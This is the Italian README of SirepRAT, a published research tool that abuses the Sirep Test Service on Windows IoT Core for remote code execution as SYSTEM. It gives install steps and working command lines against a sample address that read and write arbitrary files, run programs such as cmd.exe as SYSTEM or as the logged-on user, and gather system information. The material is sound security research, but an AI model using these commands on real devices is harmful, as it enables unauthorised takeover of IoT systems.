SirepRAT - RCE come SYSTEM su Windows IoT Core

SirepRAT offre funzionalità RAT complete senza la necessità di scrivere un vero malware RAT sul target.

Contesto

Il metodo sfrutta il Sirep Test Service che è integrato e in esecuzione nelle immagini ufficiali offerte sul sito di Microsoft. Questo servizio è la parte client della configurazione HLK che si può creare per eseguire test di driver/hardware sul dispositivo IoT. Implementa il protocollo Sirep/WPCon/TShell.

Abbiamo analizzato il protocollo Sirep/WPCon e dimostrato come questo protocollo esponga un'interfaccia di comando remota per gli attaccanti, che include capacità RAT come il recupero/inserimento di file arbitrari in posizioni arbitrarie e l'ottenimento di informazioni di sistema.

Sulla base dei risultati estratti da questa ricerca sul servizio e sul protocollo, abbiamo creato un semplice strumento Python che consente di sfruttarli utilizzando i diversi comandi supportati. Lo abbiamo chiamato SirepRAT.

Offre un'interfaccia utente semplice e intuitiva per inviare comandi a un target Windows IoT Core. Funziona su qualsiasi dispositivo collegato via cavo che esegue Windows IoT Core con un'immagine ufficiale Microsoft.

Slide e White Paper

Slide e white paper della ricerca sono nella cartella docs

Installazione

pip install -r requirements.txt

Utilizzo

Scarica file

python SirepRAT.py 192.168.3.17 GetFileFromDevice --remote_path "C:\Windows\System32\drivers\etc\hosts" --v

Carica file

python SirepRAT.py 192.168.3.17 PutFileOnDevice --remote_path "C:\Windows\System32\uploaded.txt" --data "Hello IoT world!"

Esegui un programma arbitrario

python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\hostname.exe"

Con argomenti, impersonando l'utente attualmente connesso:

python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c echo {{userprofile}}"

(Prova a eseguirlo senza il flag as_logged_on_user per dimostrare la capacità di esecuzione come SYSTEM)

Ottieni informazioni di sistema

python SirepRAT.py 192.168.3.17 GetSystemInformationFromDevice

Ottieni informazioni sul file

python SirepRAT.py 192.168.3.17 GetFileInformationFromDevice --remote_path "C:\Windows\System32\ntoskrnl.exe"

Vedi l'help per tutti i dettagli:

python SirepRAT.py --help

Autore

Dor Azouri (@bemikre)

Contributori

movatica (@movatica) - porting a python 3! (alla fine del 2020)

Licenza

BSD 3 - licenza "New" o "Revised"